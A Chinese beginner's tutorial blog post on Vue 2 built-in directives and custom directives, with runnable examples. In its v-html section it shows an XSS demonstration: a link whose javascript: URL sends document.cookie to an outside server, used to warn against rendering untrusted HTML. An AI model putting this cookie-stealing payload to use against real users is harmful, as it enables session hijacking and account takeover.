初学Vue(全家桶)-第9天(vue2):常见内置指令、自定义指令

初学Vue

1、常见内置指令

  • v-bind:单向绑定解析表达式,可简写为:xxx
  • v-model:双向数据绑定
  • v-for:遍历数组、对象、字符串
  • v-on:绑定事件监听,可简写为@xxx
  • v-if:条件渲染(动态控制节点是否存在)
  • v-else:条件渲染(动态控制节点是否存在)
  • v-show:条件渲染(动态控制节点是否展示)

上面这些指令用法前面几篇文章有用过,这里就不详细展开讲了,主要讲讲前面没接触过的一些指令,如下:

  • v-text:向其所在标签渲染文本内容,并且v-text会替换掉节点文本中的内容,而插值语法不会,此外,该指令不会将传入含有标签的字符串当作标签使用。
<body>
    <div id="root">
        <div>{{name1}}<div>
        <div v-text="name2">啦啦啦啦</div>
        <div v-text="name3"></div>
    </div>
    <script>
        new Vue({
            el:"#root",
            data:{
                name1:"小明",
                name2:"晓明",
                name3:"<span>效明</span>"
            }
        })
    </script>
</body>

结果如下:
在这里插入图片描述

  • v-html
  1. 作用:向指定节点中渲染包含html结构的内容
  2. 插值语法的区别:
    (1)v-html会替换掉节点中所有的内容,而插值语法不会
    (2)v-html可以识别html结构
  3. 注意,v-html的使用有安全性问题
    (1)在网站上动态渲染任意html是非常危险的,容易导致XSS攻击
    (2)一定要在可信任的内容上使用v-html,千万不要在用户提交的内容上使用

示例一:

<body>
    <div id="root">
        <div>{{name1}}</div>
        <div v-html="name2">啦啦啦啦</div>
        <div v-html="name3"></div>
    </div>
    <script>
        new Vue({
            el:"#root",
            data:{
                name1:"小明",
                name2:"晓明",
                name3:"<span>效明</span>"
            }
        })
    </script>
</body>

结果如下:
在这里插入图片描述

示例二:面向“prison”编程

如果我们用v-html指令接收一个具有诱惑性的内容,如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="../../JS/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <div v-html="info"></div>
    </div>
    <script>
        new Vue({
            el:"#root",
            data:{
               info:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>我找到“有用”的资源了,快来!!!</a>"
            }
        })
    </script>
</body>
</html>

可以通过document.cookie获取到浏览器cookie中存储的数据(这里的coolie时手动设置的,直接再浏览器cookie那儿改),如下:
在这里插入图片描述


在这里插入图片描述
点击上面的超链接后,对应的服务器(这里就是百度的服务器地址)就会获取到浏览器cookie中保存的数据
在这里插入图片描述
而拿到cookie的人就可以任意的对你的个人账号进行操作,这或许也是访问不良网站被盗号的原因之一(doge)
不过现在大大多数浏览器都拒绝使用第三方cookie,也保护好了用户隐私,此外,浏览器上的cookie中的数据如果被http协议限制了,那么同样的不能拿到cookie中的数据。
在这里插入图片描述

  • v-cloak
    1、这个指令是没有值的
    2、本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
    3、通常使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

看如下示例

<body>
    <div id="root">
        <div>{{name}}</div>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
            el:"#root",
            data:{
                name:"小明"
            }
        });
    </script>
</body>

当网速特别慢,页面内容不能立马加载出来时
在这里插入图片描述

在标签中加入v-cloak属性时,就不会让模板中{{name}}先显示在页面上,然后再显示出加载出来的数据,而是等页面完全加载完成后显示数据,不会单独先显示模板中的{{name}}。

<body>
    <style>
        [v-cloak]{
            display: none;
        }
    </style>
    <div id="root">
        <div v-cloak>{{name}}</div>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
            el:"#root",
            data:{
                name:"小明"
            }
        });
    </script>
</body>

具体过程如下:
在这里插入图片描述

  • v-once:没有值,使得所在节点在初次动态渲染后就看做成静态内容了,之后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<body>
    <div id="root">
        <div v-once>页面第一次加载后就不变:{{n}}</div><br>
        <div>可以不停的加:{{n}}</div><br>
        <button @click="n++">点我n+1</button><br>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
            el:"#root",
            data:{
                n:0,
            }
        });
    </script>
</body>

结果参考
在这里插入图片描述

  • v-pre
    1、可以跳过所在节点的编译过程
    2、可利用它跳过没有使用指令语法、没有使用插值语法的节点,从而加快编译。

2、自定义指令

在Vue对象中添加一个配置项directives:{},配置项中自定义指令。分为全局和局部配置。

2.1 函数式自定义指令

例如:自定义一个v-big指令,和v-text功能类似,作用是将绑定的数值放大10倍。

  • 局部配置的方式
<body>
    <div id="root">
        <h3>当前的n值为:{{n}}</h3>
        <h3>放大10倍后的n值为:<span v-big="n"></span></h3>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
            el:"#root",
            data:{
                n:1,
            },
            // directives是自定义指令的配置属性
            directives:{
                // 自定义一个big函数,用于放大10倍
                // 该函数调用时机:1、指令与元素成功绑定时 2、指令所在模板需要重新解析时
                big(element,binding){
                	// element是使用当前指令的标签,是个真实DOM,这里的值为<span></span>
                    console.log(element);       
                    // console.log(element instanceof HTMLElement); // true,证明这是个真实DOM
                   
                    // binding是一个对象
                    console.log(binding); 
                    
                    element.innerText = binding.value * 10; // binding中有个属性value,存储变化后的n值,之后再放大10倍,作为element的纯文本内容
                }
            }
        });
    </script>
</body>

binding对象中的内容如下:
在这里插入图片描述
n+1之后,浏览器控制台显示如下
在这里插入图片描述

  • 全局配置方式
<body>
    <div id="root">
        <div>当前的值为:{{n}}</div><br>
        <div>放大10倍后的n值为:<span v-big="n"></span></div><br>
        <button @click="n++">点我n加1</button>
    </div>
    <script>
        Vue.config.productionTip = false;
        // 全局配置方式
        Vue.directive("big",function(element,binding){
            element.innerHTML = binding.value * 10;
        })

        new Vue({
            el:"#root",
            data:{
                n:1,
            }
        });
    </script>
</body>

在这里插入图片描述

(1)在directives配置项中写的函数的函数名前加上v-函数名就组成了一个指令名,函数的作用就是指令的作用。
(2)指令的功能是通过操作原生DOM来实现的
(3)函数调用时机:1、指令与元素成功绑定时 2、指令所在模板需要重新解析时

2.2 对象式自定义指令

格式如下:

directives: {
  // 指令名
  focus: {
    // 全部函数钩子
    bind:function(参数){},
    inserted: function (参数) {},
    update:function(参数){},
    componentUpdated:function(参数){},
    unbind:function(参数){},
  }
}

钩子介绍如下:

bind:只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。
inserted:被绑定元素插入父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)。
update:所在组件的 VNode 更新时调用,但是可能发生在其子 VNode 更新之前。指令的值可能发生了改变,也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新 。
componentUpdated:指令所在组件的 VNode 及其子 VNode 全部更新后调用。
unbind:只调用一次,指令与元素解绑时调用。

参数介绍:

el:指令所绑定的元素,可以用来直接操作 DOM。
binding:一个对象,包含以下 property:
	name:指令名,不包括 v- 前缀。
	value:指令的绑定值,例如:v-my-directive="1 + 1" 中,绑定值为 2。
	oldValue:指令绑定的前一个值,仅在 update 和 componentUpdated 钩子中可用。无论值是否改变都可用。
	expression:字符串形式的指令表达式。例如 v-my-directive="1 + 1" 中,表达式为 "1 + 1"。
	arg:传给指令的参数,可选。例如 v-my-directive:foo 中,参数为 "foo"。
	modifiers:一个包含修饰符的对象。例如:v-my-directive.foo.bar 中,修饰符对象为 { foo: true, bar: true }。
vnode:Vue 编译生成的虚拟节点。
oldVnode:上一个虚拟节点,仅在 update 和 componentUpdated 钩子中可用。

例如:自定义一个v-fbind指令,与v-bind指令作用类似,但可以让其所绑定的input元素默认获取焦点

  • 局部配置
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="../../JS/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <div>当前n的值为:{{n}}</div>
        <br>
        <input type="text" v-fbind="n">
        <br><br>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
            el:"#root",
            data:{
                n:1,
            },
            directives:{
                fbind:{
                    // 特殊时刻调用特殊函数
                    // 指令与元素进行绑定时,bing函数被调用
                    bind(element,binding){
                        console.log(this);
                        console.log("指令与元素进行绑定时,bing函数被调用");
                        element.value = binding.value;
                    },
                    // 指令所在元素被插入页面时
                    inserted(element,binding){
                        console.log(this);
                        console.log("指令所在元素被插入页面时inserted函数被调用");
                        // 插入页面时获取焦点
                        element.focus();
                    },
                    // 指令所在模板被重新解析时
                    update(element,binding){
                        console.log(this);
                        console.log("指令所在模板被重新解析时update函数被调用");
                        element.value = binding.value;
                    }
                }
            }
        });
    </script>
</body>
</html>

结果:
第一次加载页面时,bind函数和inserted函数被调用了,其中inserted函数主要用来给插入到页面的input输入框聚焦
在这里插入图片描述
点击按钮后,模板刷新,调用了update函数,n的值改变
在这里插入图片描述


分析:
(1)通过自定义指令v-fbind,可以完成给指令所在元素聚焦的功能。
(2)这里使用对象的方式完成自定义指令。在对象fbind中使用了指定的三个方法,bind(),inserted(),update(),这三个方法分别在指定时期调用。并且这三个方法的this指向的对象并不是vue,而是window。
(3)这个示例用函数式自定义指令的方式并不好实现,写成函数式时只能完成对象式中bind函数和update函数的功能,并不能完成元素插入页面后聚焦的作用。
在这里插入图片描述
函数式自定义指令时,并没有聚焦,因为这里fbind函数只在指令与元素成功绑定时,以及模板解析时调用,将input元素插入到页面的过程中并不会调用到focus函数,因此完成不了页面刷新后,所被绑定元素获取默认聚焦的功能。

  • 全局配置
<body>
    <div id="root">
        <div>当前n的值为:{{n}}</div>
        <br>
        <input type="text" v-fbind="n">
        <br><br>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        Vue.config.productionTip = false;
        // 全局配置
        Vue.directive("fbind", {

            // 特殊时刻调用特殊函数

            // 指令与元素进行绑定时,bing函数被调用
            bind(element, binding) {
                console.log(this);
                console.log("指令与元素进行绑定时,bing函数被调用");
                element.value = binding.value;
            },
            // 指令所在元素被插入页面时
            inserted(element, binding) {
                console.log(this);
                console.log("指令所在元素被插入页面时inserted函数被调用");
                // 插入页面时获取焦点
                element.focus();
            },
            // 指令所在模板被重新解析时
            update(element, binding) {
                console.log(this);
                console.log("指令所在模板被重新解析时update函数被调用");
                element.value = binding.value;
            }

        })
        new Vue({
            el: "#root",
            data: {
                n: 1,
            },
        });
    </script>
</body>

</html>

在这里插入图片描述

2.3 简单总结

一、定义语法
(1)局部指令
对象式

new Vue({
 	directives:{指令名:配置对象} 
 })

函数式

new Vue({
	directives(){}
})

(2)全局指令
对象式
Vue.directive(指令名,配置对象)
函数式
Vue.directive(指令名,回调函数)

二、配置对象中常用的三个回调函数
(1)bind:指令与元素成功绑定时调用
(2)inserted:指令所在元素被插入页面时调用
(3)update:指令所在函数模板结构被重新解析时调用。

三:补充*
1、指令定义时不加前缀v-,但使用时要加v-
2、指令名如果是多个单词,要使用kebab-case命名方式,就是单词全小写,中间用-分开,不要用驼峰命名法。

2.4 自定义指令的模块化使用

需要借助vue中的自定义插件来配合使用
在配置文件src/config/index.js中定义一个插件对象:

export default{
	myPlugin:{},
}

创建一个专门存放自定义指令的文件夹direcitves,如下:

directives:
---all   // 用来存放不同指令的钩子函数js文件
---index.js    // 在这里将所有自定义指令封装到插件中

步骤:
(1)创建一个含有指令钩子函数的js文件,或者使用函数式指令也行,并暴露出去
例如:/directives/all/v-bigger.js

export default {
    bind(element, binding) {
        element.innerHTML = binding * 20
    }
}

(2)封装到插件中,/directives/index.js

import vBigger from "./allDirectives/v-bigger";
import config from '@/config/index.js'
// 封装成插件
let myPlugin = config.myPlugin
myPlugin.install = function (Vue) {
    Vue.directive('bigger', vBigger)
}
// 导出插件
export default myPlugin

(3)在main.js中引入并使用插件

import directives from './directives/index'
Vue.use(directives)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值